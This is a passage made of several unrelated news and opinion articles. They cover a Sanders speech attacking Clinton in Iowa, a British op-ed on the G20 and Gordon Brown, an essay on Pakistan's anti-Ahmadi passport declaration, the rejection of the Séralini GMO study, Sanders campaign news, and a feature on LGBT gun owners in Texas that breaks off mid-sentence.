-DES MOINES, Iowa – Dramatically highlighting his contrasts with Hillary Clinton, Sen. Bernie Sanders used his speech to the Iowa Jefferson-Jackson dinner Saturday night to make his sharpest and most aggressive critiques of the Democratic front-runner thus far.  The dinner is considered the marquee event of the Democratic presidential campaign circuit, attracting more than 6,600 party activists this year in the state that holds the nation’s first nominating contest. It has a history of shaking up races and knocking front-runners off their perch, as it did to Clinton in 2007 when then-Sen. Barack Obama wowed crowds here.  Clinton came into the event riding a wave of momentum built up after two weeks of non-stop victories and seemed relaxed when she took the stage. While she and challenger Martin O’Malley – who was hoping for a breakout performance – largely stuck to their stump speeches, Sanders threw out his script. It was an especially notable departure for someone who has given roughly the same speech for 40 years.  Without mentioning her by name, Sanders fired off a series of back-to-back jabs clearly aimed at the weakest parts of Clinton’s resume as he portrayed himself as the true progressive in the race who “will govern based on principle not poll numbers.”  On the Trans-Pacific Partnership trade deal, which Clinton recently opposed, Sanders said he was there first. “I did not support it yesterday. I do not support it today. And I will not support it tomorrow,” he said. “It is not now, nor has it ever been, the gold standard of trade agreements.”  RELATED: Bernie Sanders calls for a ‘political revolution’  Clinton once called the TPP the “gold standard” of trade deals as she helped negotiate it as President Obama’s secretary of state.  On the Keystone XL pipeline, which Clinton seemed to favor as secretary of state but recently opposed, Sanders said he was there first, too. “If you agree with me about the urgent need to address the issue of climate change, then you would know immediately what to do about the Keystone pipeline. Honestly, it wasn’t that complicated,” he said. “To me, that was a no-brainer and that is why I have opposed the Keystone Pipeline from the beginning.”  On the Iraq War vote, where Clinton now says her “yes” vote was a mistake, Sanders said he was right about the conflict from the beginning. “Let me tell you that I listened to what Bush had to say, to what Cheney had to say, to what Rumsfeld had to say. I didn’t believe them and I voted no,” he said.  And on the Defense of Marriage Act, the 1996 law signed by Former President Bill Clinton that banned the federal government from recognizing gay marriages – which Hillary Clinton now opposes – Sanders said he was on the right side of history once again.  “Today, some are trying to rewrite history by saying they voted for one anti-gay law to stop something worse. Let us be clear. That’s just not true,” he said. “There was a small minority opposed to discriminating against our gay brothers and sisters. Not everybody held that position in 1996.”  Clinton told MSNBC’s Rachel Maddow Friday that her husband supported DOMA as a “defensive action,” since something worse would have been passed in its stead.  On every issue, Sanders said he faced a “fork in the road.”  “I am proud to tell you when I came to that fork in the road I took the right road even though it was not the popular road at the time,” he said.  And one of his biggest applause lines, ostensibly on campaign finance, was also a veiled shot at Clinton. “I am the only Democratic candidate for president who does not have a super PAC and we are going to prove them wrong,” he said. Clinton has two super PACs.  Sanders sought to position himself as the rightful heir to Obama, who stunned observers at this very event in 2007 by delivering an inspiring speech that drew clear contrasts with Clinton. “Eight years ago the experts talked about how another Democratic candidate for president, Barack Obama, couldn’t win. How he was unelectable. Well Iowa, I think we’re going to prove the pundits wrong again. I believe we will make history,” he said.  Clinton, meanwhile, drew her own contrast with Sanders on guns, a major weakness for the insurgent, reciting a line she used since last week’s Democratic presidential debate in Las Vegas. ”I’ve been told to stop shouting” about guns, she said. “Sometimes when a woman speaks out some thinks it’s shouting.”  The candidates spoke in the round, surrounded by their supporters, who were sectioned off from each other. Each bloc competed for the loudest cheers, cleverest chants, and biggest shows of strength  Sanders supporters supplemented their official gear with home-made signs and T-shirts, and chants often arose organically. Clinton’s supporters, meanwhile, appeared as a blue army dressed in campaign T-shirts and armed with double-fisted glowing foam wands.  Earlier in the day, the campaigns held pep rallies across the Des Moines River from each other. Sanders’ featured an eclectic mix of musicians, including black gospel singers. Clinton’s campaign flew in pop star Katy Perry, who delighted 4,000 fans and donned a dress decked out with red and blue “H” logos for the campaign. Later, she sat at a table with Clinton volunteers near the stage.  Clinton had another special guest up her sleeve too – her husband. Bill Clinton made his debut on the campaign trail for his wife’s second presidential bid, joking that it was time for a first gentleman. ”I want you to support Hillary for me too because I want to break a ceiling. I am tired of the stranglehold that women have had on the job of presidential spouse and I want you to help me deal with that,” he said.
-One of the more horrifying aspects of recent events was the realisation that the balance sheets of some major financial institutions were wholly misleading. As Chris Patten puts it in his recent book, What Next?, one week, a single mother in St Louis takes out a mortgage. The next week, the mortgage is a triple-a rated security in London. The week after that, it is a supposedly reliable asset in a German municipality's pension fund.  This is not only a moral and intellectual problem. It is also a financial one. The international banking system will remain unstable until the so-called toxic assets are properly evaluated. As that is a much less glamorous task than the grand-standing which went on last week, it has not received nearly enough attention, though there has been useful work in London, both in the Treasury and at Credit Suisse.  But even if the G20 Heads of Government could not have been expected to bring about the transvaluation of all toxic values, they could at least have set the banks a good example: honest accounting. Under Gordon Brown's malign tutelage, they did the opposite. The fanfare figures in the final communique were as reliable as a Bernie Madoff prospectus. Almost all the billions and trillions turned out to be a re-announcement of sums already committed. That was probably just as well. Otherwise, the consequences for public debt and inflation could have been hideous. Even so, and especially in the context of calls for tighter financial regulation, it was hypocritical.  Join Independent Minds For exclusive articles, events and an advertising-free read for just £5.99 €6.99 $9.99 a month Get the best of The Independent With an Independent Minds subscription for just £5.99 €6.99 $9.99 a month Get the best of The Independent Without the ads – for just £5.99 €6.99 $9.99 a month  One international institution did obtain additional funds: the IMF, and this may prove significant. Over the past few days, both in public and even more explicitly in private, British ministers have been softening up opinion in case the government has to have recourse to the IMF. No disgrace in that, we are told; it would be the same as a socialite with a cash-flow problem buying a dress at a charity shop: a mere trifling temporary expedient.  We should never underrate this government's capacity for sheer effrontery. In return, it should not underrate the public's residual common sense. All the talk of billions and trillions may wash over most voters, but they are looking for a touchstone: some secure foundation from which to make their moral judgments. The IMF would provide one. Mr Brown has shown unexpected powers of bouncing back, but there are limits. If he had to resort to the IMF, any remaining credibility would be shattered. Not even Lord Mandelson's silvered serpentine tongue could talk him out of that one.  Yet a begging visit to the IMF would not necessarily prevent a partial recovery, starting with the stock market. It might seem absurdly temerous to predict that the market has now stabilised. There is a wise old stockbrokers' adage: "Never try to catch a falling knife." Even so, one or two shrewd City chaps of my acquaintance are inclined to think that the knife has reached the tiles and are investing money on that basis.  For the past 18 months or so, there has been a lot of talk about "vulture funds": cash-rich investors ready to buy distressed assets at fire-sale prices. Up to now, the vultures have sat on their perches, waiting for the carrion to ripen, but one is beginning to hear the odd wing flapping. There are technical obstacles in the way of a sustained rally. A lot of people are still strapped for cash and it is much easier to sell shares than most other assets, especially houses. So a recovery could be disrupted by profit-taking, or rather loss-minimising. Yet it would not take much to move the FTSE back towards 5,000.  Desperate to claim that his strategy is working, Gordon Brown will want to highlight any improvements. But the housing market and the jobs market will be harder. It would be amusing to hear a Labour Prime Minister boasting about a stock-market revival while the jobless figures were rising. Unemployment has always been a lagging indicator, and matters have been made worse by the Government's enthusiasm for EU regulations plus other means of increasing employers' costs.  This is one of the most bewildering phenomena in contemporary politics. Everyone knows that globalisation will lead to increased competition and therefore to pressure on domestic labour markets. Everyone knows that youth unemployment creates lasting social problems. But most EU governments impose measures which encourage employers to buy machines rather than hire workers. It is not only the UK which is criminally deficient in joined-up government.  The Tories also have a problem, with joined-up opposition. David Cameron could never be accused of panicking. There were those who urged him to find a way of offering a counter-attraction during the G20 in order to interfere with Mr Brown's dominance of the airwaves. Rightly, Mr Cameron saw no point. There are moments when a Prime Minister cannot be prevented from making the news and this was one of them.  David Cameron did at least have his half-hour with Barack Obama and that was by no means an automatic courtesy for a US President to extend to an opposition leader. But Mr Cameron decided that he would wait for the captains and the kings to depart before striking his recessional note. In so doing, he will have a number of narrow and tricky rhetorical paths to negotiate. The Tories must find a way of discussing the present difficulties without appearing to revel in them: of being sombre without being thrown by unexpected signs of recovery. They ought to be bold enough to encourage a degree of medium-term optimism, without sounding glib. Above all, they must capture the voters' confidence.  This requires three things: analysis, phrases and repetition. The Tories ought to provide both an historical account of the degringolade and a sketch of the escape route. In this, while eschewing facile partisanship, they should not be afraid of close reasoning and complex arguments. The aim should to use seriousness to impress the serious-minded.  Needless to say, that is not enough. It never is, in politics. The Tories must also come up with some catchy phrases: their equivalent of "boom and bust". William Hague has made a start. "Gordon Brown promised to abolish boom and bust. He has kept half his promise." Having invented the phrases, it is vital to go on repeating them. Often, it is only when the politicians are sick of repeating themselves that the voters at last begin to notice.  Apart from the state of the economy, the Tories have one advantage. Mr Brown has already proclaimed his strategy for the next election. He will declare that he is the only man who can save Britain; that the Tories are only offering tax cuts for the rich and spending cuts for the poor. As this is wholly dishonest, it should be equally ineffective, but Gordon Brown will not go down without a fight. If the Tories lost that fight, they would have only themselves to blame.  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  Subscribe now
-If you are a conscientious Pakistani, or if you don’t live under a rock, it is hard to ever forget or ignore the kind of infuriating discrimination and shameful persecution that members of the Ahmadiyya community suffer in our country.  You console yourself by thinking, “at least I personally don’t discriminate or persecute”.  And, if you’re outspoken, you think, “I won’t and don’t ever let it happen in front of me”.  But then, there is a point in time when you are forced by the lottery of birth, and the Constitution of Pakistan, to become party to the state-sponsored discrimination of Ahmadis.  This is the time when you go to perform a simple act of citizenship: get or renew a passport.  Also read: A guide to growing up Ahmadi in Pakistan  The last time I got a passport back home, I was able to duck the question: you know the one right at the end where you have to sign to attest to the accuracy of all information on your application form — and that Ahmadis are infidels.  Passport application form. —Photo by Manan Ahmed Asif  Somehow, through the miracle of bureaucracy where nobody has enough time to go through your application in minute detail, my little act of defiance went by unnoticed and I was handed my passport.  Even as I write this, I weigh the pros and cons of putting this out there. At the risk of sounding self-important, I don’t want a bigot in the government or with any connections to the government to become aware of this loophole.  This time, I had to apply for a new passport at an embassy of Pakistan. With a far fewer number of applications, the officials did have the time to catch my “mistake”.  Here’s how the conversation went:  Official: “You didn’t sign this attestation.”  Me: “Oh, right. I actually didn’t want to.”  Official: “Then you will have to declare yourself non-Muslim.”  Me: “OK.”  Official: “You will have to have that changed in Nadra records.”  Me: “OK.”  We share an awkward moment of silence as I hope in futility that my one-word answer will halt the conversation and I will walk out of there without having to do this.  Official: “So, please sign it.”  Me: “But I didn’t sign it in Karachi.”  Official: “Madam, please don’t create more issues for us. We are just an embassy.”  I am ashamed to admit, I picked up the pen and I signed it.  My hands shook as I forced myself to go through a motion that would go against every belief I dearly hold, every fibre of my being.  An action that would mean I was declaring myself party to causing the anger and the pain I have heard in my friends’ voices, as I sat across hearing horrific stories of growing up in a country that sounded so alien yet, so real.  Also read: Ahmadis, seared to the wall  I did grow up as a member of an endangered minority too, but at least the state considers us full citizens. For now.  A few months ago, I had argued with one of my close friends — an Ahmadi — who said that every person who signs that declaration to get a Pakistani passport is giving his/her consent to the state-sponsored discrimination enabled by the Second Constitutional Amendment.  I disagreed vehemently; I felt offended.  It is not fair, I shot back, to assume that, because there can be no consent where there is force — the state forces me to sign this declaration because it can, it doesn’t make it optional for me.  This is not to deny that most Pakistanis do believe that Ahmadis are infidels, but signing that declaration isn’t the evidence for it, opinion polls are.  Also read: Keep Hajj out of politics — Notes on the ‘Are you Shia?’ form debacle  That conversation went through my head in the seconds that I prepared myself to sign my name on a declaration that I find perverse, discriminatory, and wholly unjust.  I still believe that because I was forced to sign it, I did not give my consent to it.  But that realisation does little to shake away the feeling of disgust and helplessness I felt in the process of establishing my relationship with my country but giving up my conscience.
-[ The Seralini study has been retracted. Read the letter from the journal editor.]  An intensively promoted and controversial French study claiming to find high tumor rates and early mortality in rats fed genetically modified corn and “safe” levels of the herbicide Roundup has been dismissed in a rare joint statement from France’s six scientific academies. Here’s a link to the statement (in French). [*Here’s an English translation.] Here’s an excerpt from coverage of the academies’ statement by Agence France-Presse:  “This work does not enable any reliable conclusion to be drawn,” they said, adding bluntly that the affair helped “spread fear among the public.” The joint statement—an extremely rare event in French science—was signed by the national academies of agriculture, medicine, pharmacy, sciences, technology and veterinary studies. It was sparked by research published in September that said rats fed with so-called NK603 corn and/or doses of Roundup herbicide developed tumors…. Two fast-track official investigations into the study, ordered by the government, are due to be unveiled on Monday. The academies’ statement said: “Given the numerous gaps in methods and interpretation, the data presented in this article cannot challenge previous studies which have concluded that NK603 corn is harmless from the health point of view, as are, more generally, genetically modified plants that have been authorised for consumption by animals and humans.” In withering terms, it dismissed the study as “a scientific non-event.” “Hyping the reputation of a scientist or a team is a serious misdemeanour when it helps to spread fear among the public that is not based on any firm conclusion,” the academies said.  The academies’ statement is just the latest rejection of the conclusions by the paper’s authors, led by Gilles-Eric Séralini, a scientist at the University of Caen who has long campaigned against genetically modified foods and attracted criticism for flawed science. Earlier this month the European Food Safety Authority concluded that the rat study’s statistical and methodological weaknesses precluded its being used in safety evaluations:  Conclusions cannot be drawn on the difference in tumour incidence between the treatment groups on the basis of the design, the analysis and the results as reported in the Séralini et al. (2012) publication. In particular, Séralini et al. (2012) draw conclusions on the incidence of tumours based on 10 rats per treatment per sex which is an insufficient number of animals to distinguish between specific treatment effects and chance occurrences of tumours in rats. Considering that the study as reported in the Séralini et al. (2012) publication is of inadequate design, analysis and reporting, EFSA finds that it is of insufficient scientific quality for safety assessment.  Of course despite early signals that the work was suspect, that didn’t prevent the work from being swiftly promoted by groups pressing for California’s Proposition 37, which would require the labeling of genetically modified foods (at least those not on the long list of exempted products).  I also don’t imagine that any of the organic-friendly media outlets that uncritically covered the rat results will follow up on these new developments — lending credence to Keith Kloor’s thesis that “Liberals Turn a Blind Eye to Crazy Talk on GMOs.”  This excerpt is from a report by Radio France International:  On Monday, the Higher Biotechnologies Council (HCB) and the National Agency for Food Safety (ANSES) said they saw nothing to challenge existing safety assessments for Monsanto’s NK603 corn or its Roundup weed killer. “The study provides no scientific information regarding the detection of any health risk linked to NK603 corn, whether it was treated with Roundup or not,” said the 66-member HCB, set up in 2009 to provide an independent view in such areas. “The data are insufficient to establish scientifically a causal link… or to support the conclusions or pathways suggested by the authors,” ANSES said separately. But both called for a broader investigation to guide a public left confused by the debate.  I hope that Dr. Mehmet Oz, who featured the rat study on his popular television show, will tell his viewers about the French academies’ statement. In his related blog post, he implied that only “scientists who are in support of genetically modified foods” say the research is flawed. In fact, it’s scientists who support the scientific method who are challenging this work and the hype around it. Whatever your view, pop over to his Facebook page and leave a note. I did.  [ ]
-A Big Turnout Expected In Boston:  US Senator Bernie Sanders is bringing his surging White House campaign to Massachusetts this weekend, where he could host the largest rally for a presidential primary candidate in recent state history. Sanders, who is from Vermont and running as a Democrat, is scheduled to attend two events in the Bay State on Saturday. More than 1,000 people have said they will attend Sanders’ rally at Springfield’s MassMutual Center at 2 p.m, according to his campaign’s Facebook page. Later that day, Sanders will address a rally at the Boston Convention and Exhibition Center at 6 p.m. Also according to Facebook, more than 15,000 people have said they will attend. The anticipated crowd count rivals the region’s recent primary record set by Barack Obama in 2007, when then-Governor Deval Patrick endorsed him on the Boston Common in front of a crowd of 10,000  I.S.A. Feels The Bern:  Over the years, there have been more than a few odd pairings of presidential candidates and popular songs—from Mitt Romney's choice of "Born Free" by Kid Rock (“You can knock me down and watch me bleed / But you can't keep no chains on me”) to Ross Perot's sampling of "Crazy" by Patsy Cline (“I knew you'd love me as long as you wanted / And then someday you'd leave me for somebody new”). But could a Democratic socialist from Vermont join forces with a dirty south rapper? "Why not?" said LaVarry's manager, Wade Lovelace, who goes by the name Moneybag Martucci. He got LaVarry on Twitter recently, "at long last." It’s reasonable to assume LaVarry and Lovelace are trying to take advantage of the current political moment, in which another man named Bernie is imploring people to keep moving forward. Get LaVarry talking about "my man, Bern," though—as he calls Sanders—and you may begin to feel otherwise. "I first heard about him last year," LaVarry said. "I was trying to pull up one of my music videos and his name popped up instead. I was like, What? Who is this really old white dude with the weird hair?” he continued. “But I started reading about him and watching him speak. I think he has a lot of good views. Making women's pay equal: about time! Expanding social security and making college free: that's wonderful! Free healthcare, raising the minimum wage to fifteen dollars: that's remarkable! I've never heard any candidate talk that way for the people. It proves you can't judge a book by its cover." LaVarry's original record deal wasn't a good one for him. ("The message wasn't promoted like it should have been," he said. "I didn't make much money.") But he recently became an independent artist again and he wants to make a mark on his country with his next album. "I'd work with Bern," he said, "if he'd let me. I'm thinking about a new promo song for him right now. My team is trying hard to reach out to his people and see if working with him is a possibility. That'd be lovely!" He paused, before heading back into the studio. "I appreciate all the fans for not giving up on me. They won't be disappointed. They're gonna feel the real 'Bernie Fever' this time."  Robert Reich Corrects A MSM Outlet.. Again:  The Washington Post just ran an attack on Bernie Sanders that distorts not only what he’s saying and seeking but also the basic choices that lie before the nation. Sanders, writes the Post’s David Fahrenthold, “is not just a big-spending liberal. And his agenda is not just about money. It’s also about control.” Fahrenthold claims Sanders’s plan for paying for college with a tax on Wall Street trades would mean “colleges would run by government rules.” Apparently Fahrenthold is unaware that three-quarters of college students today attend public universities financed largely by state governments. And even those who attend elite private universities benefit from federal tax subsidies flowing to wealthy donors. (Meg Whitman’s recent $30 million donation to Princeton, for example, is really $20 million from her plus an estimated $10 million she deducted from her taxable income.) Notwithstanding all this government largesse, colleges aren’t “run by government rules.” The real problem is too many young people still can’t afford a college education. The move toward free public higher education that began in the 1950s with the G.I. Bill and was extended in the 1960s by leading public universities was reversed starting in the 1980s because of shrinking state budgets. Tuition has skyrocketed in recent years as states slashed education spending. It’s time to resurrect that earlier goal. Besides, the biggest threats to academic freedom these days aren’t coming from government. They’re coming as conditions attached to funding from billionaires and big corporations that’s increasing as public funding drops.  .#Bernie2016 supporters took to the streets yesterday in Atlanta to protest the TPP. #feelthebern pic.twitter.com/PVOMGUQuzJ — ToastyPoptart (@LollipopCrumbs) October 3, 2015  Coding The Bern:  Volunteer grass-roots campaigning in 2016 is going beyond knocking doors. For the Bernie Sanders campaign, it means late-night coding sessions. Coders for Sanders is a group of about 200 programmers, developers and designers that are collaborating on the chat application Slack to develop apps for the Bernie Sanders campaign. Many in the group first met in the subreddit Sanders for President and identified problems that their tech talents could solve. Entering the thousands of handwritten email addresses collected at rallies into a database takes precious staff time. Zach Schneider built an app with a simple contact form for rally attendees to fill out. The app works on Google Chromebooks, laptops that retail for about $300. t the South Carolina rally in August, the campaign tested the app with five Chromebooks to record the estimated 2,800 attendees. Bernie Sanders campaign Digital Director Kenneth Pennington says the campaign will be using 15 at Mr. Sanders’s event in Boston on Oct. 3. If it works again, they will buy more. “They are building real tools that are going to have a big impact on how we win votes as a campaign,” said Mr. Pennington, adding that the coders are currently developing 10 different apps for the campaign.  Bernies New Hire:  Democrat Bernie Sanders, who still faces a long road for recognition and support in the Latino community, has hired a Latino Outreach director for the campaign. Sanders, a Vermont senator, hired Arturo Carmona, executive director of Presente.org, a Latino advocacy group based in Los Angeles. Carmona also will serve as Southwest political director. The group, which is largely an online group, is considered more left than other more established Latino organizations. As an activist on civil rights, Carmona, 37, said he never saw himself joining a political campaign, but "when I saw the political campaign and Sen. Sanders calling for a political revolution and people from all walks of life joining this movement, I said 'Hey, this is something I've seen that can make a difference.' I decided to join because I see a great need," he said. In a recently released NBC/Wall Street Journal poll, 30 percent of Latinos surveyed had a positive view of Sanders versus 12 percent who held a negative view. But 35 percent didn't recognize his name or weren't sure how they felt about him, compared to 2 percent for Hillary Clinton, his rival for the Democratic nomination. "Bernie Sanders is not well known and I see that as a great opportunity and advantage because we have a fresh opportunity to present a remarkable candidate," Carmona said.  SUPER excited to be volunteering for @BernieSanders rally in Boston tomorrow. Boston is going to #FeelTheBern ! — Stanzi (@Stanzijay) October 3, 2015  There's more people VOLUNTEERING for #BernieInBoston than some candidates get to entire rallies. #FeelTheBern https://t.co/... — People For Bernie (@People4Bernie) October 3, 2015  It Seems Sanders Expects Really High Turnouts In Colorado When He Comes:  The University of Colorado almost saw its first visit from Democratic presidential hopeful Bernie Sanders. University officials say members of the Sanders campaign reached out to them earlier this week to talk about hosting a large-scale event on the Boulder campus Oct. 10. But the university only had outdoor venues available that could accommodate 8,000 to 10,000 people and the campaign staff eventually declined the opportunity, said campus spokesman Ryan Huff. Huff said Folsom Field was already booked that day with a band camp. "Norlin Quad and other places, we can hold about 8,000 to 10,000 and he wanted a larger venue," Huff said.  A Tucson Trip Is Confirmed:  Democratic presidential candidate Bernie Sanders will be visiting Tucson on Friday, Oct. 9. According to a press release, Sen. Sanders will hold a rally on Friday at 7 p.m. at Reid Park DeMeester Outdoor Performance Center, located 920 South Concert Pl. Gates will open at 6 p.m. The rally is free and open to the public.  15,000+ strong including myself are gathering to see @BernieSanders in Boston tomorrow. Urgency couldnt be higher to make this man President — BMann (@BMann260) October 3, 2015  Not Everyone On Wall Street Hates Bernie Sanders:  The socialist presidential candidate, who wants to break up the big banks and place a tax on every Wall Street trade, has received campaign contributions from at least two financial industry executives, who have contributed $3,700 to Sanders, FOX Business Network has learned. The money is still a fraction of the $25 million Sanders has raised through the first three quarters of the year, and far less than the Wall Street support going to his democratic challenger, Hillary Clinton. But, it is surprising that anyone in financial services would openly support a self-described socialist, who has called for “revolution” against Corporate America through higher taxes and more regulation. Clients of big Wall Street firms would be among the hardest hit by Sanders' economic policies of tax increases he has proposed to pay for a vast expansion of government if he became president. "Wall Street is no different than the rest of New York — lots of Democrats and even a few Bernie Sanders supporters,” says Arthur Schwartz, co-founder of Axium Advisors, a strategic communications and crisis management firm that specializes in the financial services industry. “But going on record in your capacity as a brokerage employee, and supporting a guy that is openly hostile to the financial services industry is probably not a great idea.”
-Image: Ian Birnbaum  This is part of a series around A Smarter Gun, Motherboard's new documentary.  Gunfire rattles steadily around the Austin Rifle Club, a private gun range on the outskirts of Texas' metropolitan capital. Among the pick-up trucks and camo-wearing gun enthusiasts, a young woman in a light plaid top and sandals leans forward with a pistol, her arms and knees bent. She pulls the trigger, steady and confident. As she fires, her target—a poster of a zombie hipster waving an iPhone and a purse dog—perforates with a tight, consistent grouping.  The 28-year-old woman, Reina Mercado, holds fire as her friend and instructor, Sarah Rossig, walks her through reloading the handgun under speed and pressure. It's the kind of work that combat shooters practice constantly, but it's less common at a range full of weekend target-plinkers like this one. It's even less common to see shooters like Mercado at the range. Mercado is a transgender woman who immigrated from the Philippines when she was 6 years old. She went from making toy guns out of scrap on a family farm to Houston, Texas, deep in the heart of gun culture and oil money.  Mercado represents a new and unlikely set of players in the gun culture that dominates America in general and Texas in particular. They're young, liberal, and many are members of the LGBT community. They're not the kind of people you think of when you think of gun rights advocates, but after watching Donald Trump's rise to power during the 2016 election, they're all ready to exercise their second amendment right to bear arms.  "I'm trans, I'm a person of color, I'm more likely to be targeted. I'm more likely to be in a place where everyone is being targeted, just like the Orlando folks. I was just like, damn, I need a gun more than these conservative rednecks do."  With Republicans in control of the White House and Congress, gun sales have dropped and the stock of publicly traded gun manufacturers like Ruger and Smith & Wesson plunged as much as 30 percent. Put simply: "The threat is gone," as a gun store owner in Ohio told USA Today. New, more comprehensive gun control legislation is improbable as long as Republicans control Congress and the White House, and if Hillary or Obama aren't coming for our guns, there's no need to rush out and buy AR15s, extended magazines, and other popular targets of gun control restrictions.  The exception: African Americans, religious minorities, and LGBT people are buying guns and getting licensed to carry to cope with their increasingly hostile surroundings. The exact numbers are unknown—the FBI doesn't release race data for their background checks—but gun store owners anecdotally report a "four-fold" increase in minority customers. Meanwhile, the number of black Americans who saw guns as a source of protection almost doubled from 2012 to 2014. Racial tensions in particular were already high before the election, and an outbreak of swastika graffiti and hate crime incidents immediately after Election Day did nothing to calm things down. A gun store owner in Virginia told NBC that he had noticed "an uptick" in black and minority customers in the weeks after the election.  After being raised as a boy with an affinity for motorcycles, anime, and engineering, Mercado spent her late 20s discovering her new identity as a transgender woman. She gathered up her courage and started to explore new names, pronouns, and the LGBT community she found in Austin. She went to the HR department at the job she loves and asked if she could change genders without being fired—in Texas, there's no employment non-discrimination protection for LGBT workers.  Reina Mercado shoots a custom-painted AR-15, the controversial rifle at the center of many gun-control efforts. Image: Ian Birnbaum  Then, 49 people were killed inside Pulse, a gay nightclub in Orlando. "After the Orlando shooting I came out, loud. I told my friends and everyone around me that I was trans and that I was here," Mercado had a brand new sense of self and an identity that she had just gotten brave enough to declare, and it was being threatened. "That was when I realized that I'm statistically more likely to be a victim. I'm trans, I'm a person of color, I'm more likely to be targeted. I'm more likely to be in a place where everyone is being targeted, just like the Orlando folks. I was just like, damn, I need a gun more than these conservative rednecks do."  *  Nearby, Jacob Kruse aims down the scope of a custom-painted AR15, his NASA hat turned backward. For Kruse, 33, acknowledging the need for armed protection was more like coming home. Kruse was raised in Fort Davis, Texas (population: 1,201), by doomsday preppers who fled the Austin city limits and the Russian nukes that seemed about to fall in the late '80s. Though he wasn't into guns, the social aspects of gun culture were enjoyed by the rest of his family, whom he calls "a bunch of ammosexuals."  "I never really accepted that I was bi when I was a kid in Alpine," Kruse said, "because out there if you deviated from the square, white norm, you got your ass kicked."  Of all of the people I spoke to for this story, Kruse is the most pragmatic and comfortable around guns. He has the matter-of-fact respect common to people who grew up hiking in the mountains, a shotgun in hand to take out rattlesnakes.  Mercado removes a spent shell after firing the author's shotgun.  "Statistically, going by broad numbers, having a firearm in the home increases the risk of someone getting hurt with a firearm," Kruse said. "That's just common sense. But we have a lot of dangerous things in our lives that are useful, so we accept those risks. Cars are a good example."  Kruse would like to have protection in case of a home invasion or other crisis, but he rejects the "siege mentality" that comes from spending all of your time obsessing over such rare events.  "It has been interesting watching the LGBT and nerd communities get a little militant," Kruse said. "I've had many conversations where people refer to the [Concealed Carry License] as their 'license to carry a wand'—as in Harry Potter."  *  For other people who feel targeted in the new alt-right atmosphere, guns are a long-standing source of discomfort. "I came out in High School when I was 16 to—literally—no fanfare." Duke Lambert, 27, laughs as he describes his drama-free coming out story. "I told everyone and no one cared—they all already knew, and they all said they loved me anyway." He was pleasantly surprised that a gay, mixed-race Texas kid could have a reception so gentile. "I [had] heard the stories, like of Matthew Shepard ... but I just wasn't seeing that where I was at."  When Lambert moved to Norman, Oklahoma, the luck of his circumstances was made very plain. "I got a scholarship to the University of Oklahoma, and I suddenly became hyper-aware of the student population. Everyone was involved in fraternities and sororities—yeah, they were in the news recently for being racist and having chants that have the word 'nigger' in them. That was the climate I went to college in."  Even though his police officer grandfather had a number of guns in the house, Lambert always stayed away from weapons as a kid. Granddad's guns-gone-wrong horror stories and Lambert's innate clumsiness ("I accidentally shot a friend with an airsoft gun") were all the motivation he needed to stay away from anything designed to kill.  "The news is constantly reiterating that everything is bad and everything is getting worse, but it's not really time for a civil war yet."  Recently, though, Lambert agreed to join some co-workers on a trip to a firing range. He attributes this change, in part, to Mercado, whose frequent concealed-carry evangelizing made him decide that he should get over his squeamishness with guns. He said shooting made him feel more comfortable around a gun, and if one suddenly ended up in his hands, he would know how to use it.  "I think of the Republican party as one big frat, and it feels more comfortable for people to say and do [racist or violent] things that they wouldn't feel supported in before," Lambert said. "It's more normal and accepted in that party, and in the country, now."  *  "Three days after Trump got elected, I said, 'fuck this!' and signed up for [a concealed carry license] class," Mercado said. Arriving nervous to the licensing class, Mercado was confronted by an unexpected ally. "[The class was taught at] a locally-owned black business. The instructor was straight-up, he was like: hey, I'm black, and people of color are more likely to be victims of violence." The instructor was tall, broad-shouldered, dark-skinned, and wore an oversize Texas belt buckle at his waist.  Jacob Kruse practices target shooting on the handgun range. Image: Ian Birnbaum  Mercado attended the class "in boy mode," just on the cusp of gender transition and hormone therapy. "What surprised me is when I talked to him, I kind of brought it up in a bit of a shy way like, you know….what if, maybe, I need to perhaps... change my gender marker on my handgun license?" She dragged out the question, reluctant to reach the end of it. Her instructor answered instantly: "Oh, it's super easy! Just let me know and I'll change it for you. If you have any trouble let me know, I've got connections." Mercado was shocked, but her instructor brushed it off: he gets the question every weekend.  "These were people with no interest in guns, not as a hobby, not as cool machines. They're scared of guns, but they feel like they need one."  After a 45-day turnaround, Mercado got her license to carry a concealed handgun shortly after New Year's Day. "It feels better," she said. "It feels good. My friends are like, 'oh you have it on you right now?' They say that they feel better being with me." As Trump's inauguration came and went, tensions rose, and her friends started to talk with a common euphemism. "Everyone always says it the same way, I feel better being with you because of how things are. It's like a code. How things are."  Kruse is also feeling the tension. "It seems like everyone's waiting for the first move to get made right now," he said. "The news is constantly reiterating that everything is bad and everything is getting worse, but it's not really time for a civil war yet."  Lambert was upset by the inauguration and the aftermath of the first executive orders, so he started attending protests, where passions and anxiety run high. "At one of the protests I went to recently, these White Lives Matter guys came to Austin and they were protesting while the city unveiled an African American War Veterans memorial." The local police kept the groups separate and maintained calm, he says, "but there was one moment. I could see the White Lives Matter guys were open-carrying guns, like they do. Behind me were members of the [communist/anarchist group] Austin Red Guard with red head-coverings and a communist flag, and they were open-carrying as well." Lambert laughs. "So I'm sitting there in-between and both sides have guns, and I don't have a gun. It's not like I think more guns would necessarily help this situation, but it made me think: should I be armed? If I keep going to these protests, will having a gun make it worse? I'm still kind of debating it."  Mercado shoots at a zombie hipster paper target with a sox-shot revolver. Image: Ian Birnbaum  Even though Mercado is already licensed, she's still debating how she wants to re-engage with the social aspects of gun culture. "The way America has sold guns to people is not as tools, but the same way that Harley Davidson sells motorcycles," she said. "They're selling an image. That's the problem, the guns themselves are just tools. But the way you sell power fantasies is just gross. Taking a life is a terrible thought. But growing up on those stories where people go out and beat the bad guys and save the people they care about, that's an image that is very seductive to me."  Trump has made things worse, that's clear to all of the people I spoke to. But Mercado bought her gun in July, in the closing months of the Obama administration, back when it seemed all but certain that Hillary Clinton would win the election. "Even if Clinton won, though, bigots were being emboldened," Mercado said. "And it was around that time that I started to hear from my LGBT friends, like, 'oh shit, I need to get a gun.' These were people with no interest in guns, not as a hobby, not as cool machines. They're scared of guns, but they feel like they need one."  Having a gun made Mercado feel safer emotionally, but intellectually she knows that it's mostly a false comfort. "The thing is, I know the statistics about concealed carry weapons. If you can run, run. You're not going to help, trying to be a hero. Get out of there. But if you're in that last-case scenario, where you're trapped and you've already done your running…" Mercado paused for a moment. "I know I'm not a hero. I'm not a cop. I have no delusions where I'm trying to save the day. But if it comes down to a moment where I'm desperate enough to reach 